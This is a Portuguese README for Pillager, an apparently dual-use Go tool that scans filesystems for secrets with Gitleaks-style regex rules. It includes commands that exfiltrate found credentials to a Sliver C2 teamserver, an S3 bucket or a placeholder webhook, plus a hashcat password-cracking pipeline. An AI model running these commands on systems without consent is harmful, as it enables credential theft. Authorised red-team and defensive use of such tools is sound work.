
Pilhar sistemas de arquivos em busca de informações sensíveis com Go 🔍
Saquear sistemas de arquivos em busca de informações sensíveis com Go.
Pillager foi projetado para fornecer uma maneira simples de aproveitar o forte modelo de concorrência do Go para pesquisar recursivamente diretórios em busca de informações sensíveis em arquivos. Pillager faz isso apoiando-se nos ombros de alguns gigantes. Assim que pillager encontra arquivos que correspondem ao padrão especificado, o arquivo é escaneado usando uma série de workers concorrentes, cada um pegando uma linha do arquivo da fila de tarefas e caçando correspondências de padrões sensíveis. Os filtros de padrão disponíveis podem ser definidos em um arquivo pillager.toml ou você pode usar o conjunto de regras padrão.
Se você tiver o Go configurado no seu sistema, pode instalar o Pillager com go install
go install github.com/brittonhayes/pillager@latest
scoop bucket add pillager https://github.com/brittonhayes/pillager-scoop.git
scoop install pillager
brew tap brittonhayes/homebrew-pillager
brew install pillager
docker run --rm -it ghcr.io/brittonhayes/pillager:latest hunt .
Se você está procurando um binário, confira os últimos lançamentos para o executável que corresponde ao seu sistema.
Para ver todos os comandos disponíveis com pillager
# Para ver instruções para toda a aplicação
pillager
# A partir de qualquer subcomando
pillager [cmd] --help
Pillager fornece uma interface de usuário em terminal construída com bubbletea se você quiser escanear por segredos interativamente.
Envie segredos descobertos para destinos remotos: Sliver C2 (armazenamentos de loot/credenciais), S3/MinIO (armazenamento em nuvem) ou Webhooks (endpoints HTTP personalizados).
# Sliver C2 - Enviar para teamserver com análise de credenciais
pillager hunt /target --exfil sliver \
--sliver-config ~/.sliver-client/configs/operator.cfg
# S3/MinIO - Enviar com criptografia
pillager hunt /target --exfil s3 \
--s3-bucket red-team-findings \
--s3-endpoint https://minio.internal:9000 \
--exfil-encrypt env:EXFIL_KEY
# Webhook - POST para endpoint personalizado
pillager hunt /target --exfil webhook \
--webhook-url https://your-server.com/findings \
--webhook-header "Authorization: Bearer token"
Segurança: Criptografia AES-256-GCM (--exfil-encrypt), TLS por padrão, metadados automáticos (hostname, timestamp)
Pillager oferece suporte total para regras do Gitleaks1. Isso pode ser passado com uma seção de regras2 no seu arquivo pillager.toml, ou você pode usar o conjunto de regras padrão deixando a flag de configuração em branco.
# pillager.toml
# Configuração básica
verbose = false
redact = false
# Regras para detecção de segredos
[[rules]]
description = "AWS Access Key"
id = "aws-access-key"
regex = '''(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}'''
tags = ["aws", "credentials"]
[[rules]]
description = "AWS Secret Key"
id = "aws-secret-key"
regex = '''(?i)aws(.{0,20})?(?-i)['\"][0-9a-zA-Z\/+]{40}['\"]'''
tags = ["aws", "credentials"]
[[rules]]
description = "GitHub Token"
id = "github-token"
regex = '''ghp_[0-9a-zA-Z]{36}'''
tags = ["github", "token"]
[[rules]]
description = "Private Key"
id = "private-key"
regex = '''-----BEGIN (?:RSA|OPENSSH|DSA|EC|PGP) PRIVATE KEY( BLOCK)?-----'''
tags = ["key", "private"]
# Configuração de lista de permissões
[allowlist]
paths = [
".*/_test\\.go$",
".*/testdata/.*",
".*\\.md$",
".*/vendor/.*"
]
regexes = [
"EXAMPLE_KEY",
"DUMMY_SECRET"
]
Pillager possui uma série de formatos de saída embutidos disponíveis. Escolha o seu favorito!
pillager hunt .
pillager hunt ./example -f json | jq
A saída JSON foi projetada para funcionar perfeitamente com o incrível utilitário jq para fácil análise.
# Use pillager para gerar uma wordlist delimitada por nova linha a partir dos achados
pillager hunt . -f wordlist
# Use pillager para anexar uma wordlist e depois use seu modo de ataque hashcat favorito
pillager hunt ./ -f wordlist >> rockyou.txt && hashcat -a 0 hash.txt rockyou.txt
pillager hunt . -f json-pretty
pillager hunt . -f html > results.html
pillager hunt . -f markdown > results.md
pillager hunt . -f csv > results.csv
pillager hunt . --template "{{ range .}}Secret: {{.Secret}}{{end}}"
pillager hunt . -t "$(cat mytemplate.tmpl)"
Pillager permite que você use funções poderosas de go text/template e sprig para personalizar o formato de saída. Aqui estão alguns exemplos de templates.
{{ range . -}}
File: {{ .File }}
Secret: {{ .Secret}}
Description: {{ quote .Description }}
{{ end -}}
# Results
{{ range . -}}
## {{ .File }}
- Location: {{.StartLine}}
{{end}}
Mais exemplos de templates podem ser encontrados no diretório templates.
Documentação do GoDoc está disponível em pkg.go.dev para pillager.
Para se envolver no desenvolvimento de funcionalidades e correções para o Pillager, comece com o seguinte:
O que é Cobra?
Cobra é uma biblioteca que fornece uma interface simples para criar interfaces de linha de comando modernas e poderosas, semelhantes às ferramentas git e go. Cobra também é uma aplicação que gerará o scaffold da sua aplicação para desenvolver rapidamente uma aplicação baseada em Cobra.
Se você já viu uma CLI escrita em Go antes, há uma grande chance de ter sido construída com Cobra. Não posso recomendar esta biblioteca o suficiente. Ela capacita desenvolvedores a criar ferramentas de linha de comando consistentes, dinâmicas e autodocumentadas com facilidade. Alguns exemplos incluem kubectl, hugo e a CLI gh do Github.
O que é Gitleaks?
Gitleaks1 é uma ferramenta SAST para detecção de segredos codificados, como senhas, chaves de API e tokens em repositórios git.
Gitleaks é uma ferramenta incrível para prevenção de vazamento de segredos. Se você ainda não implementou o Gitleaks como um verificador de pré-commit, vale a pena conferir.
Por que o Gitleaks é relevante para o Pillager?
Pillager implementa a poderosa funcionalidade de regras do Gitleaks enquanto adota uma abordagem diferente para apresentar e lidar com os segredos encontrados. Embora eu tenha fornecido um conjunto básico de regras padrão, o Pillager se torna muito mais poderoso se você permitir que os usuários criem regras para seus próprios casos de uso.
Confira as regras incluídas2 para um conjunto de regras base.
Isso é óbvio, mas vou dizer de qualquer forma: não sou responsável por quaisquer repercussões causadas pelo seu uso do pillager. Esta ferramenta destina-se a uso defensivo, educacional e de pesquisa de segurança com o consentimento de todas as partes envolvidas. Comportamento malicioso com o pillager não é de forma alguma tolerado ou encorajado. Use esta ferramenta de forma responsável e certifique-se de ter permissão para escanear segredos em quaisquer sistemas antes de fazê-lo.
Em sua essência, o Pillager foi projetado para ajudá-lo a determinar se um sistema é afetado por fontes comuns de vazamento de credenciais, conforme documentado pela estrutura MITRE ATT&CK3.
Técnica MITRE ATT&CK - T1552.003 - Credenciais Não Seguras: Histórico Bash
Técnica MITRE ATT&CK - T1552.001 - Credenciais Não Seguras: Credenciais em Arquivos